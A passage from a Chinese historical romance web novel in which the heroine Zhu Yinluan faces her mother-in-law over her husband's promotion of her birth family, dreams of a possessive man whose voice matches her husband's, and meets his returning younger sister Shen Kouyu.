她察觉到沈夫人的目光,隐隐在心里想着,沈夫人突然跟她提这件事情,该不会是…以为她给沈景湛吹枕头风,让沈景湛给祝鸣生提官位吧? 她要说点什么? 可怎么说啊?说她已经跟家中人 决裂?早就不算是祝家人了? 即便她如今拜在施家的门下,可……祝家那边到底是她的出身处,若是说得太决绝。 沈夫人指不定认为她拜高踩低,从而败了她这些时日好不容易在沈夫人眼里留下的印象。 看了有一会,沈夫人没有在祝吟鸾的脸上找到什么隐藏的破绽。 她似乎真的不知道这件事情。 若是真的不知道还好,假使还在演戏,这祝家女的心思也太深沉了。 当面一套背后一套。 沈家是绝对容不下这样的狐媚子。 沈夫人接着道,“原来你不知道这件事情,我从你公爹那边得到了消息,还以为是你给听澜吹了枕头风,让听澜给祝家的人提官位。” “要知道,听澜从入仕起,可从来没有徇过一点私情,便是沈家的人,他都不曾提携,甚至要求得更严格,怎么一到祝家,就提了呢?” 沈夫人看着她的眼睛。 祝吟鸾与沈夫人对视了一会,她道,“前日夫君回来,是跟媳妇说……我的生父祝大人去找了他,想要他给我的嫡哥哥在三省当中谋个实在的职务。” “这么说来,这件事情你还是知道了?”沈夫人又端起茶盏吹了一口问她。 沈夫人身为侯夫人,身上气势不怒自威,祝吟鸾心里忐忑,“夫君那日是这样说的,可媳妇当时与他说……” “说什么?”沈夫人扫眼看向她。 “媳妇说祝家的人贪得无厌,让他不要徇私,不要答应我父亲的要求,免得牵连了夫君,败坏了沈家。” “夫君当时说他心里有数,让我不必担心,媳妇后来也就没问了。”祝吟鸾如实相告。 沈夫人冷哼一声,“说什么问不问,到底你还是清楚的啊。” “媳妇……不算是清楚吧。”祝吟鸾不想被沈夫人扣帽子,后面一句话的语调接得比较弱。 眼看着祝家女一脸担忧凝重的样子,沈夫人便知道她的话属实了。 若真是狐媚子,此刻不应该忐忑不安,而是得意洋洋了。 可新妇进门才没多久,自然要打压,也要教教她。 平白说道理无用,祝家女若真是个有慧根的,自然能够从她身上学到东西。 沈夫人没收势,她接着威压,“你跟听澜说的具体是什么,谁知道呢。” “媳妇若让夫君提携祝家人入朝堂高位,便让媳妇不得好死,永世不得超生。”她忽而郑重其事发毒誓。 沈夫人愣了一下,被她脸上的认真给震到了,险些没端住架子,只能喝了一口茶,压下情绪的起伏。 “罢了,不论说了什么,事已至此,何须多言。” 祝吟鸾还要再说,沈夫人却接着道,“就算是你跟听澜说了不要提祝家人入高位,他为了给你挣面子,自然也会提,毕竟母家之荣可长儿女之势。” 沈夫人的话有道理,若沈景湛不提祝家人升高位,那一日跟她说的时候就应该直接点头答应她,而不是说交给他去处理。 这说来说去…沈景湛还是帮着祝家提了。 “如此,你应该清楚你对听澜的重要了吧?他很看重喜爱你。”沈夫人道。 祝吟鸾还在思忖没有接话,就是默默听着。 “祝氏,我与你说这些,并非是谴责教训你,而是要让你清楚,不要滥用听澜对你的喜爱和看重,你嫁进来的那一日我也说了,你和听澜,夫妇一体荣辱与共。” “现如今你已是沈家妇,而非祝家女,万事万物,我这个做婆母的也不要求你为沈家做什么,但你该多为你和听澜打算,他身居高位,听命御前,旁人看着是风光无限,但焉知枪打出头鸟,不知多少人盯着他,要抓他的错处。” “一点点行差踏错,说不定就是万劫不复了,你明白吗?”沈夫人道。 祝吟鸾缓缓点头,“媳妇明白。” “瞧你也是个聪明人,应当能够领会我的意思。”沈夫人放下茶盏。 “你与祝家过去的事情我这个做婆母的就不追问了,但明人不说暗话,我也跟你说清楚,那日祝家朱夫人上门,我看着她不是个好东西,为人轻浮贪婪,没有一点当家主母的样子,你既然拜入施家,从施家嫁到了沈家,日后就不要再跟祝家搅和往来,否则……” 沈夫人后面的话没有直接撂出来,但祝吟鸾已经明白了。 “媳妇知道。” “知道就好。”沈夫人轻嗯。 “今日没有太多事情,我听小丫鬟说你昨日也累了,礼单拟得不错,你吃了汤药就好生回去歇着吧。” “多谢婆母,媳妇告退。” 祝吟鸾回到院子许久了,依然心事重重。 她还在想着沈夫人说的话。 沈夫人看似训她,实则却比她那嫡母和卫家前婆母庞氏好多了。 沈夫人也从来不提出身的事情。 正因为如此,祝吟鸾才觉得内疚和不安。 她不清楚沈景湛这么做,到底是想干什么? 他是不是太温柔了?不懂得人心不足蛇吞象的道理啊? 思来想去,午后小憩那会祝吟鸾都睡不安稳。 她醒过来的时候,隔着重重幔帐见到人影晃动,还以为是姣惠或者明芽,没想到沈景湛已经回来了。 他扶她起来,问她睡得怎么样? 祝吟鸾道还好。 沈景湛留意到她脸色不好,在她梳洗的时候问是因为祝家的事情吗? “夫君都知道了?” “今日午后有人来报,鸾儿从母亲院子里出来时脸色很不好。” 即便是在沈家,祝吟鸾依然觉得沈景湛得到消息的速度实在是太快了。 快得就像是她身边有沈景湛的眼线? 她又开始冒出不好的想法,但很快被她给压下去。 “鸾儿生我的气了?”沈景湛微微俯身,垂下来看她。 两人之间的距离好近。 这还是第一次,在人前,他骤然朝着她靠近。 因为两人之间的身量差距明显,他俯身凑过来到她的眼皮底下。 靠得很近,她闻到了沈景湛身上清冽的气息,还感受到了他的呼吸。 她都感受到了沈景湛的呼吸,想必他也感受到她的了吧? 祝吟鸾撇开视线别过脸,“……” 沈景湛却还是凑过来,“鸾儿怎么不说话?” 祝吟鸾的余光已经察觉到了周围的小丫鬟们回避的眼神。 原本她心里还乱糟糟的,此刻却开始羞赧。 他怎么忽然这样…… 后面就是妆奁台,祝吟鸾退无可退,只能用手抵在两人中间,微微抵触着他的胸膛,不想让沈景湛过来了。 男人却还在逼近,祝吟鸾的手根本抵挡不住他的靠近。 她开始想着从旁边逃离,他却更快。 两只手撑在她的身侧,将她拢在妆奁台与他的怀抱中间。 她被围困,出不去了。 旁边伺候的小丫鬟们却很有眼力见的出去了。 一时之间,就剩下两人,呼吸在静默中纠缠。 第54章 第54章打情骂俏。 适才不过是察觉到他的气息若隐若现,此刻却是全面笼罩。 两人之间的距离近在咫尺,祝吟鸾的心跳加快。 感受到他的目光不敢与他对视。 沈景湛似乎也是拿准了这一点,他俯身低头,凑到她眼皮子底下,祝吟鸾垂眸便可以窥见男人的俊脸。 如此下来,照样是跟他对视上了。 他怎么…… 祝吟鸾觉得这不对劲。 按理说,婚后,她跟沈景湛应该是相敬如宾,若非必要,井水不犯河水才对。 可如今他却一直靠近她,让她心跳加速,抵在两人中间的细指也忍不住蜷缩了起来。 如此情景……简直就是打情骂俏。 “你…做什么?” 她的眼神往左边躲,纤长浓密的睫毛一直在颤栗,平白惹人。 “我想看看鸾儿生气没有。” “我没有生气。”她回了。 “既然没有生气,脸色怎么如此不好?” “没有,你看错了。”祝吟鸾否认。 真的太近了。 他说话之时,呼出的气息悉数打在 她的侧脸脖颈处,又痒又热。 祝吟鸾想起夜里,他俯身在她耳畔时的微喘,十分性感,叫人心酥腿软。 思及此,她忍不住轻咬唇瓣。 这是她下意识的动作,沈景湛的视线却挪移到了她的唇上。 他的目光注视得实在太厉害了。 她的心跳忍不住加速。 祝吟鸾觉得已经克制不住了,便开始抗拒,“你有什么话好好说,不要离我那么近。” 她侧过身子说要出去。 沈景湛却置若罔闻,越是祝吟鸾开始去掰他的手,想要拉开,从而出去。 男人的力气好大,她根本掰不开他的手。 他反而饶有兴致看着她掰弄他的手腕。 祝吟鸾的确是用劲了,但她不知道沈景湛的手为何纹丝不动。 掰不开,祝吟鸾又不想继续就这么被困在方寸之地,以免叫她心慌加剧,所以她矮下身子想要猫着出去。 沈景湛察觉到她的意图,另外一只大掌收拢,揽腰将她抱了起来。 猝不及防的腾空,祝吟鸾吓了一跳,害怕摔下去,她整个人不自觉揽抱住沈景湛的脖颈。 居高临下,透过男人男人瞳眸,她看到慌乱失措的自己。 沈景湛搂着她的腰身,温柔安抚她别怕,说定然不会摔了她。 他的肩膀宽阔,臂腕有力,抱起她简直轻而易举,她的确不必担心他会失重从而摔她到地上。 原以为沈景湛要做什么,却也没有。 他抱着她放到圆凳之上,“用膳吧。” 祝吟鸾,“……” 她实在摸不准沈景湛的意思,便只能听从他的话用膳。 慢吞吞吃到一半,男人开口,“鸾儿真的不是生气我对祝家人行为宽厚吗?” 生气? 的确是有一点,但不是对着沈景湛的气,而是祝家。 她恨朱夫人和祝大人贪得无厌,但凡有利可图便趋炎附势,丝毫不顾脸面。 “我没有。”祝吟鸾用膳的速度越来越慢,她忍不住用银筷戳着碗里的酥芋。 “可我看着鸾儿的样子,似乎生气了。” “若真的恼我为沈家人提携官位,可以言明,斥责我两句也无妨的。” 沈老太太都不敢说他,她又怎么训斥? 祝吟鸾忍不住看过去。 沈景湛给她夹了一块新的肉酥芋头,“怎么?鸾儿怕我.顶.你的嘴吗?” 他分明在好好说话,脸色也不见任何暧昧,可她怎么就想起来那些床榻上发生的事情。 祝吟鸾端起配饭的茶水吃了一口,“…你不会吗?” “若是旁人我会,对于鸾儿不会。”男人语气很是平和。 “我的确有些生气,但不是生你的气,而是…生祝家人的气。” “当初把我赶出来的是他们,如今怎么有脸来找你?” 一想到她那个薄情自私的父亲,祝吟鸾胃口都没有了。 “…今日婆母找我,跟我说了几句话。” “母亲说什么?”沈景湛问。 “夫君不知道婆母与我说什么了?”他足智,几乎近妖,又能揣摩人心,怎么会猜不到? “隐约猜到一些。”男人语气谦和,眉眼含笑。 他甚至微微半偏着头,对着她展露出少见的惑人的恣意风流样子。 “但我更想听鸾儿主动告知于我。” 他喜欢听她说话,不论说什么都好,这能够让他感受到她是真实存在于他身边的。 又来了,那种黏黏糊糊的感觉…… 祝吟鸾目光在无意识中怔住,她闻言,忍不住攥紧了银筷。 看着男人的俊脸,强忍下与他对视时心中的波澜异动,逼迫自己盯着碗里的饭菜, “…婆母说你为祝家人提了官位,让祝鸣生入了三省的集贤殿做学士,问我知不知道这件事情,有没有给你吹枕头风……” 祝吟鸾原原本本陈述了一遍今日她与沈夫人的对话。 说完之后她问沈景湛,“所以你到底为何要给祝家的人提官位?” “你就不怕吗?” “怕什么?”男人却还在问。 祝吟鸾不管他心里清不清楚,径直挑明,“怕别人弹劾你徇私舞弊,滥用职权,届时你受到牵连怎么办?” 沈景湛暂时没说话。 祝吟鸾怕沈景湛生气,她回软声音接着道, “我知道你待我很好,提携祝家是为了给我抬脸面,但祝家的人本性便是贪得无厌,将来若真的被人弹劾,闹到对簿公堂的份上,说不定还会踩你一脚,根本就不会记你的恩情,所以我不希望你去做这件事情。” “算我求你了…”祝吟鸾咬唇。“我们不要再掺和祝家的事情了好吗?” “若是朱夫人和祝大人再来找你,你径直回绝了不要再见,不要再与祝家有任何的牵扯。” 适才沈景湛夹过来的肉酥芋头还没吃,被她说着话时戳得有些烂了,足以见她内心的煎熬。 “有些关于朝政上的事情,我暂且不能言明,但……鸾儿信我,我行事知分寸,也懂进退,不会将自己置于危险之地。” “可……”祝吟鸾凝噎,好一会她还是软声软气,“我知道你本事通天,但我还是担心。” “我可以告诉鸾儿,这盘棋已经开始下了,执棋的人不只我一个,所以不能够贸然收手。” “但你放心,不论如何我都会护你平安。”他道,“这也是我将你娶进门时许下的承诺。” “你呢?”她反问,“你护我平安,那你自己呢,不只是你,还有沈家那么多人,婆母祖母公爹的平安都很重要。” 她不希望沈家的人受她的牵连而出事。 听着眼前人的话,看着她的脸。 沈景湛忍不住感慨出声,“鸾儿…真是一点都没有变。” 和从前一样,柔软善良。 “…什么?” 她觉得沈景湛这句话奇怪到莫名其妙,什么叫她一点都没有变?他说这句话给人的感觉就像是她与他似乎很早就相识了。 “没什么。” 沈景湛道她跟她刚认识的时候没怎么变,还记得他与她第一次见,是沈家的马车坏了,他耽误了许久,她也不恼怒。 “鸾儿柔软善良,总是设身处地为旁人着想。” 好好说着这件事情,他忽而夸她。 脸上的羞赧渐渐压下心底的异样,祝吟鸾,“…我并没有你说的那么好。” 沈景湛道有,祝吟鸾还要再反驳,他却又说起正事。 “母亲那边,我会和父亲言明,让她不必担心,鸾儿觉得行吗?” 祝吟鸾觉得说来说去,沈景湛依然还是跟之前一样,让他去处理。 胳膊拧不过大腿,她有些无奈,“你都这样说了,我还能怎么办?” 他笑一下。 用过晚膳,沈景湛去了书房。 刚成亲的时候还说得了时日休沐,现如今忙起来也是够呛的,祝吟鸾沐浴出来时见到他还在书房伏案,旁边的谏论堆得高高的。 “这是什么?”她见到圆桌上放着一个很大的锦盒。 “奴婢正要跟您说呢,这是世子爷身边随从送来的,说是给蔻玉小姐的见面礼。” 说到这件事情,沈景湛已经帮她要送的礼给被备办好了,答应跟他交换的礼,她却还没有裁好。 祝吟鸾原也没想好要给沈景湛送些什么,还是姣惠提议不如给他裁身衣衫,说府上才送了新料子来,正赶巧了。 她想了想没有更好的点子,便点头了。 可衣衫做得慢,这会才裁了个样子,真要到做好送出去,还需要几日的功夫。 “好漂亮的玉鞭!”姣惠打开了锦盒,明芽忍不住感叹。 祝吟鸾也觉得眼前一亮。 盒里的鞭子通体银亮透润,鞭身好似龙尾一般银亮,鞭把是和田润玉,雕刻成了振羽的蝴蝶样式,做工精美绝伦,一眼便叫人觉得惊艳名贵。 沈景湛说得对,他小妹喜欢的东西确实与寻常姑娘不太一样。 即便是知道要送沈蔻玉鞭子,祝吟鸾自问,在这么短的时间内她无法叫人做好。 “先好生收起来吧。”她嘱咐别出差错。 明日沈景湛的妹妹便要归家 了。 今日在沈夫人那边,管事的婆子前来禀话,明日给沈蔻玉接风洗尘备了很多她爱吃的菜。 一想到这位素未谋面的小姑子,祝吟鸾又开始紧张起来。 若沈蔻玉不好相与…… 只盼着别像卫家大的那个小姑子卫清丝一般刁钻难缠就好。 “……” 书房之内,沈景湛批阅中书侍郎呈上来的诏令,斟酌删改,部分简直内容看得人发笑。 看来以殿试泄题案为由,又放了祝家为饵,的确有不少人蠢蠢欲动了。 大体的批阅完成之后,随从跟沈景湛禀告,说卫如琢已经通过尚书大人开始找太医看身子骨了。 “看来,郎中所言他不相信了。”沈景湛翻阅着册子,嘲讽一笑。 “是。”随从道。 “礼部尚书这次交托给卫如琢的事情他没有办好,找太医的事情,尚书府未必能够帮他引荐。” “他既然这么想知道真相,那就帮他一把。”沈景湛合上最后一本册诏。 他的下属道,“是。” 今夜祝吟鸾发现,她跟沈景湛躺下没多久,沈夫人那边又派人来了。 她看向沈景湛,这么短的时辰,他应当没有睡着吧? 所以,要行房吗? 祝吟鸾忐忑期间,旁边的男人睁眼,转过来,轻启薄唇,“鸾儿。” 他比她动作更快,缓解了她的紧张和忐忑。 “嗯。”她轻声应着。 “鸾儿身上还疼吗?”他问她。 听着沈景湛的意思,若是不疼,便要行房? “鸾儿不必隐瞒,若还疼,直与我说了就是。” 祝吟鸾抿唇,“……不疼,就是腰酸,但是也不怎么酸。” 他一直都很温和,除却本身之势强大危险会叫她受不住之外,祝吟鸾没觉得有何处不好。 况且,他每日都有给她上药。 那药也不知从何处而来,药效很好,昨日留下的痕迹,今日基本全消了。 “那我们今日好生歇息。”沈景湛给她提了提被褥。 “婆母派来的人就不管了吗?” 祝吟鸾心想,沈夫人派老妈妈过来,恐怕不只是为了偷听两人是否行房吧? 恐怕还要探听探听她和沈景湛之间,有没有因为祝家的事情起龃龉? 祝吟鸾只敢在心里猜着,没有说出来。 “鸾儿想怎么管?”沈景湛却问。 “我……” “不然,我叫人把她们赶走?”沈景湛说完这句话的时候似乎要起身一般。 真怕他就那么做了,祝吟鸾连忙拽拉住他的手腕,可拉上去以后她才发觉,沈景湛根本就没有打算这么做,他只是动动身子而已,根本就没有打算起来去赶人。 祝吟鸾很是尴尬,她仿佛被烫到般松开沈景湛的腕子。 却在这时候被他抓住,整个人带了过去。 男人动作很快,锦被在什么时候被打开了祝吟鸾都不知道。 总之她被拽过去,落到了沈景湛的怀里。 碰上男人隔着中衣都难以忽视的,温热的宽阔胸膛。 她又开始慌乱了。 祝吟鸾都不知道她自己究竟在慌乱些什么。 明明已经跟沈景湛有过实实在在的肌肤之亲了,亲密无间到了极致。 但每次他靠近她,碰她,她都会无比紧张加羞赧。 譬如此刻,被他抱着。 在静谧的黑暗当中,她越发感觉到自己的心跳。 她一直忐忑着,却不料沈景湛什么都没做。 他揽着她的腰肢,从旁边扯过被褥盖在两人的身上。 温和的声音从男人的头顶落下,泛着不掺情欲的安抚,“睡吧。” 祝吟鸾,“……” 他在安抚她吗? 闻着男人清冽的气息,窝在温热而宽阔的胸膛中,祝吟鸾在胡思乱想中渐渐睡了过去。 没想到,她居然又开始做梦了。 这一次的梦,似乎是一场离别。 在雨夜里,天气阴暗,气氛沉闷。 梦中的人看不清样貌,但身形高大,站在她的面前,身影笼罩着她。 应当是她在说话? 她说,“我们之间身份有别…不应该发生这样的事情,就当是一场意外,一场梦。” “你…你快走吧,就当一切都没有发生过。” 居然是她在赶人? 对方似乎却不肯走,一直定定站着。 她又说了几句话,见他还是没有反应,便也不陪他站在雨里了,抬脚便要与他擦身而过。 原本她抬脚的时候对方都没动作,可擦身而过之际。 男人忽而动了,捏着她的手腕将她猛地拖到怀里。 “你放开我!” 梦里的男人好高,她抬头只看到他的下巴,在他的怀中剧烈挣扎,可她根本挣脱不出对方的怀抱。 反而被他转过来,掐着下巴强行吻了下来,把她所有的话全都给堵了回去。 他的吻强势霸道,她便是想要动都动不了,完完全全被他掌控,承受着他的吻。 也不知道过了多久,落下的雨水似乎小了一些。 她被吻得手软腿软,毫无力气。 整个人大口喘着气。 男人的臂膀牢牢缠着她的腰肢,坚固得犹如铜墙铁壁。 他俯身在她耳畔,声音又沉又哑,同时危险不减,又蕴含阴暗, “鸾儿,别做梦了,我对你……永远不可能放手。” 男人吐露的这句话彻底钻到耳朵里的时候。 梦中的她剧烈挣扎,又因为反应太过,把自己给弄醒了。 祝吟鸾猛然坐起,她惊魂不定甩着手脚,久久难以回神。 一只大掌抚上她后背之时,一句温柔的鸾儿落下,她被吓得猛然抬头看去。 她看到了沈景湛的脸。 “……” 男人也随之坐了起来,他收回遭到她躲避以后顿在半空中的手,掩下一闪而过的晦暗。 抬眼之时,倾泄的情绪掩得一干二净。 眉目泛着担忧,温柔问着她,“怎么了?做噩梦了吗?” 祝吟鸾都不知道她是不是沉溺在梦中没醒? 沈景湛的声音怎么会跟梦中的男人一模一样? “我去给鸾儿倒一盏茶来,吃了定一定。” 祝吟鸾始终没有回神,她惊魂未定。 沈景湛离开以后,她才勉强平复呼吸,看着周围的环境,渐渐意识到这是在什么地方。 她又一次梦魇了。 但这一次,祝吟鸾觉得不是单纯的梦魇,她开始怀疑,她以前是不是遇到什么事情?又忘记了什么事情?梦里的人真实存在过吗? 她已经不止一次梦到这个男人了,在卫家的时候尚且还可以认为是一个影子,是想要跟卫如琢行房要孩子,从而衍生出来的影子。 但要怎么解释到了沈家还会继续呢? 断断续续的梦境拼凑起来,就好似……零零碎碎的回忆。 这一次梦中男子说的话如此清晰… 他还叫她鸾儿! 而且,那个男人的声音怎么会跟沈景湛的一模一样? 到底哪里出了差错? 她的目光不自觉往外投去,幔帐虽然撂起来大半,却还有一层纱垂落,内室当中光影昏黄,只见到男人宽阔颀长的背影,看不到他的神色。 平心而论,沈景湛的背影跟她常梦到的男人也差不离。 “……” 她和沈景湛第一次见面是在京道之上马车冲撞,但那一次也不算是真的见了,真正见面,是她在申家药堂,险些摔落,他救了她。 那一次,他的靠近…… 没记错的话,她也觉得熟悉。 不只是那一次,后几次与沈景湛不经意碰面,靠近,她也觉得似 曾相识。 这种感觉太诡异了,一点往回追溯的由头都没有,所以她每次都压下去,不曾深究。 因为她往前算,真的从来没有见过沈景湛。 难不成是什么地方出错了吗? 祝吟鸾还在看着男人的背影失神。 不远处背对着她的沈景湛,脸上再不复温柔之意,他蹙眉思忖着,指骨轻点着茶盏的边沿。 “……” 没一会茶水温了下来,他敛起脸上所有情绪,端起茶盏往回走。 “鸾儿好点了吗?” 待祝吟鸾吃了茶水,男人轻声问。 祝吟鸾端着茶盏,指甲无意识扣弄盏沿,“好多了……” “鸾儿总是梦魇惊醒,实在让我担心,明日找个太医来看看吧?”他跟她打着商量。 祝吟鸾想说不用,可又觉得应当看看。 斟酌再三她道,“就是想着祝家的事情梦到了过往所以被吓到了,不碍事的,若过些时日还这样,再找太医看吧?” 明日沈蔻玉归家,在这个关口上找太医终归不好。 “真的没事吗?”沈景湛担忧问道。 祝吟鸾点头,“没事。” “若有事记得告诉我。”他拿过她手里的杯盏放到外面的小几上。 “嗯。”祝吟鸾点头。 此刻回神,她又觉得是鬼迷心窍了。 看呐,沈景湛温和知礼,怎么可能会是梦里那个总是欺负她的强势男人。 不会是的。 “时辰还早,鸾儿歇吧。”他放下幔帐,却发现祝吟鸾卷着锦被滚到了里面,拉开了两人之间的距离。 祝吟鸾背对着沈景湛,却也能够感受到他的视线。 外面的婆子肯定是走了,因而也不必亲密了。 她想冷静冷静,但又不知道如何解释,便含糊其辞,“夫君也快歇了吧,明日还要去接小姑呢。” 说罢,她又拢了拢被褥。 见状,沈景湛可以笃定,她或许……是想起来什么了? 男人俊脸一片清冷幽暗,回应她的一声“好”,却是温柔照旧。 后半夜祝吟鸾浅眠,醒得特别早。 沈景湛起的一瞬间,她也跟着翻身坐起。 男人问她是不是没睡好? 祝吟鸾摇头,好一会想不到什么借口,只能点头。 “真的不用找太医看看?”他又问了,“我很担心鸾儿。” “一会我让明芽给我熬一盏安神汤喝了看看吧。” 她朝他笑了笑。 对上男人如月的眉眼,分明温润无害,她越发觉得晕了,沈景湛怎么会是那样可怕的人? 梦里的男人跟她有过亲密,总是凶巴巴入她,亲她吻她时都很重,仿佛要将她揉入骨血当中。 思及此,祝吟鸾顿了一下。 她忽视了一个东西。 沈景湛本身具来的危险“强大”,与梦中那个男人的似乎也是一样的。 只是她只在对比两人力道的温柔,却忘记了充斥她时的本来之物。 似乎…的确…真的… 一样。 “……” 第55章 第55章两幅面孔的沈景湛。 思及此,祝吟鸾的神色在一瞬间变的凝固。 沈景湛发觉她就像是被人点了穴,一动不动,担忧问,“鸾儿,你怎么了?” “若是昨日没有休息好——”说话间男人伸手过来拉扶她,却又被她给躲开。 这已经不是第一次了。 沈景湛的手顿在半空之。 气氛有几分尴尬。 祝吟鸾此刻却没有办法收拾好她自己的情绪,只能起身,算是逃了,“我没事,别误了接小姑的时辰,我先去梳洗了。” 她匆匆避开了沈景湛的触碰。 祝吟鸾觉得她要冷静下来,认真捋一捋这件事情。 为何总抓到一些枝桠细节,让她觉得沈景湛和她梦中那个凶狠的男人相似呢? 可她接触到的沈景湛根本就不是这样的。 祝吟鸾心烦意乱,明芽去给她熬安神汤了,姣惠给她梳头发。 祝吟鸾坐在妆奁台前面不能动弹,透过铜镜观察不远处的男人,他一如之前,并没有因为她的冷待便露出任何不悦,甚至还在帮她看安神汤。 是她太疑神疑鬼了吧? 若是下次再这样梦魇,果真要找个太医来看看才好。 用过早膳,吃了安神汤,祝吟鸾觉得她心定不少。 众人在正厅等候,沈蔻玉如约而至。 这是沈景湛的嫡亲妹妹,样貌与他自然是相似的。 沈景湛容色冠绝京城,列称第一公子,他的妹妹也不遑多让,在京城可是数得上名号的美人。 沈蔻玉进来的一瞬间,祝吟鸾便觉得惊艳。 姑娘样貌精致明丽,一袭红衣尽显俏皮,她的确不拘,行动做派全然不似养在京中大门不出二门不迈的贵女。 先给家中亲长一一见了安,送了礼,绕到沈景湛这边来,叫了声哥哥,目光定在祝吟鸾脸上,“嫂嫂安好,嫂嫂可比哥哥画像上画的漂亮多了!” 她看起来不骄矜难处,但她话里的画像是什么意思? 什么画像上画的?沈景湛画过她吗? 祝吟鸾心里泛起奇怪,她朝沈景湛投去疑惑的一眼,没瞧见主位上沈侯爷和沈夫人不约而同端起茶盏喝水的掩饰动作。 沈景湛朝她笑笑,没在这会解释,祝吟鸾到底维持礼数,没追问。 她谢过沈蔻玉的赞扬,接了她送过来的礼,也把准备好的锦盒送了过去。 “多谢嫂嫂!”对方嘴甜爱笑,比起沈景湛的温润,更活跃些。 祝吟鸾松了一口气,至少不像是卫清丝那般难缠难处。 沈蔻玉归家,沈家几房的亲长都来了,欢聚一堂用早膳。 席间,沈蔻玉提起一个人,是二房的沈嘉显,说她回来之时,因为躲避山祸,绕路去了伏虞,在那边见到了他。 二房夫人连忙问沈嘉显如何了? 沈蔻玉道人晒黑了不少,也瘦了,但精气神很好,身上平添不少干练,少了纨绔之气。 “二叔二婶不是一向疼他吗,怎么舍得把他放到边境去做县官,那地方风沙苦寒,缺东少西,可比不上京城。” 祝吟鸾隐秘察觉到沈蔻玉说了这句话之后,二房大人看了沈景湛一眼,不只是二房大人看了他,就连二房夫人,沈夫人和沈侯爷,沈老太太都不约而同瞧了他一眼。 似乎有什么秘密心照不宣,唯独她蒙在鼓里,什么都不知道。 二房大人呵呵笑着说,“他在京城总是没个正形,在家里也横冲直撞,叫他去外边历练历练,磨磨性子。” “是吗?那准备何时让他回来啊?”沈蔻玉问。 说到这句话,她看向正在给祝吟鸾夹菜的沈景湛,“哥哥,嘉显也让我问问你,若可以,能不能替他斡旋一二?” 祝吟鸾又留意到沈蔻玉问沈景湛的时候,适才不约而同看沈景湛的人又看过来了。 沈景湛反问沈蔻玉,“你觉得能斡旋吗?” “我——”沈蔻玉还没回话,沈夫人给她夹了菜,“这是母亲亲手给你做的鱼,往日里你最爱吃,外边只怕尝不到这个味道,多吃些吧,瞧着你也瘦了。” 借着夹菜的动作,沈夫人朝沈蔻玉递了一个眼神,示意她收声别说这件事情了。 沈蔻玉再触及她自打成婚以后变得十分温润有礼的兄长。 他也在此时掀眼帘看过来,眼底的似笑非笑看得人莫名害怕。 沈蔻玉想起他的本性,立马收敛,正色转移话茬,“…母亲您做的鱼真是好吃!” 祝吟鸾还在观察,旁边的沈景湛已经把剔除刺的鱼放到她的碗里,“母亲做的鱼,鸾儿也尝尝。” 她回神,“…嗯,好。” 用过早膳,几房亲长都要去官署了,沈景湛位列朝臣,自然也不例外。 他临出门时问她要不要再去歇歇,说她昨日没睡好,他送她回院子。 沈老太太和沈夫人都听到了他的话,沈老太太问怎么了? 众人的目光投过来,祝吟鸾连忙摇头说没事,“我陪祖母婆母还有小姑说说话,夫君自去忙吧,没事的。” “怕你太累。”他道。 祝吟鸾尽力维持着人前与他的亲密,“夫君言重了,话话家常而已,不费什么功夫。” “若是身子骨不爽,可不要强撑。”他伸手抚了抚她的长发。 旁边的长辈妯娌们都在看,祝吟鸾还是做不到自然大方,她羞了,催着沈景湛,“夫君快去忙吧,别误了时辰。” “嗯。” 他对着她笑了笑,吩咐她身边的人照顾好她,辞别了长辈们,这才带着随从离开。 沈景湛走了之后,祝吟鸾松了一口气。 饶是如此,也没少被妯娌们打趣,说两人恩爱异 常,天造地设云云… “想来不久便会有好消息了。” 这是三房婶婶对着沈夫人说的。 沈夫人看了一眼祝吟鸾的肚子,只是礼貌笑了笑。 祝吟鸾忍不住紧张,昨日还惦记着要跟沈景湛说收养孩子的事情,转过头她却把这件事情给忘记了。 今日待他回来,必然要跟他言明,让他早做打算。 “但愿如此吧。”吃了一口茶,沈夫人方才接过三房的话。 众人坐在一处,多是关怀询问沈蔻玉,问她这些时日在琉州的情况如何? 沈蔻玉一一作答。 祝吟鸾早便得知沈蔻玉是个大方爽朗的性子,却没想到她还十分具有侠义之气,她在旁边听了全程,这才得知沈蔻玉下琉州,并非是名义上的游玩,而是去送粮施粥。 前不久琉州地牛转动,死伤了不少人,沈蔻玉打定了主意要去看看,表面上哄着沈夫人说她去湘南品尝名酒芙蓉醉,暗地却是背道去了琉州,她到了琉州许久,才敢传信回来。 听到沈蔻玉说起饱受地牛转动痛失亲人,流离失所的百姓是怎样煎熬的苦痛,祝吟鸾的心也跟着揪了起来。 一方面她又佩服沈蔻玉,她不过是豆蔻年华的姑娘,竟然有这样心系百姓的格局,还能付诸行动。 沈夫人斥责她,“如此危险,你却还哄了家里人前去!若你出了事情,要你母亲我如何接受?” “女儿倒是想明面去,就知道您不允许,这才偷偷去了嘛…” 沈夫人脸都拉了下来,“……” 旁边的婶婶们连忙帮着哄劝安慰。 祝吟鸾听了却莫名想笑,坦白说,沈蔻玉和沈景湛的性子在某些程度上还是相似的。 常常说话噎人,完全不顾及什么。 “好了,玉儿,你母亲的担忧不无道理,知不知道你离家的这些时日她有多担忧,整日里牵肠挂肚,你不宽慰母亲,怎么还跟她顶撞?” 沈老太太出面训了沈蔻玉,她才弱弱说自己知道错了,再也不敢了,又跟沈夫人道歉,说她不该与之顶撞。 “你与你哥哥就没一个省心的。” 措不及防提到了沈景湛,祝吟鸾一头雾水。 沈景湛年纪轻轻便如此出众,还有什么不省心?莫不是因为娶了她的缘故么? 除此之外,祝吟鸾真的想不到还有什么事情叫沈夫人连着沈景湛一道骂了不省心。 她看过去之时,沈夫人轻咳一声,转移了话茬,伸出食指戳了戳沈蔻玉的额头,“好了好了,日后听话些就是了。” “对了,这一次回来,你的亲事也该提上日程了。”沈夫人道。 沈蔻玉的脸色瞬间变了,蹙着眉头不说话,叫人一眼便洞悉她的不情愿。 “母亲罗列了一本册子,回头送你房里去,你且好好挑挑吧。” 沈蔻玉像是有话要说,但碍于众位亲长都在的场面,没吭声。 沈夫人岂能不知道她在想什么,对着她道,“你如今都几岁了?若是再不嫁人,日后可怎么办?” 沈夫人的声音强势,沈蔻玉还是忍不住回了一句,“但凡女子,都要嫁人不成?” 三房夫人笑出声,“玉姐儿这是说的哪里话?姑娘家哪有不许人的?你便是想着咱们沈家门第好,能多在家里待几年,日子拖久了也不愁,有的是人要娶,但终归对你自己不好啊,会有人说你闲话的。” 沈蔻玉想回嘴,却被沈夫人瞪了一眼,她咬着唇没说话,眼尾似乎有些红了。 眼看着气氛僵持,二房夫人跳出来打圆场,说姑娘家才回来,何必说这些?又将话茬扯到了京中的趣事上。 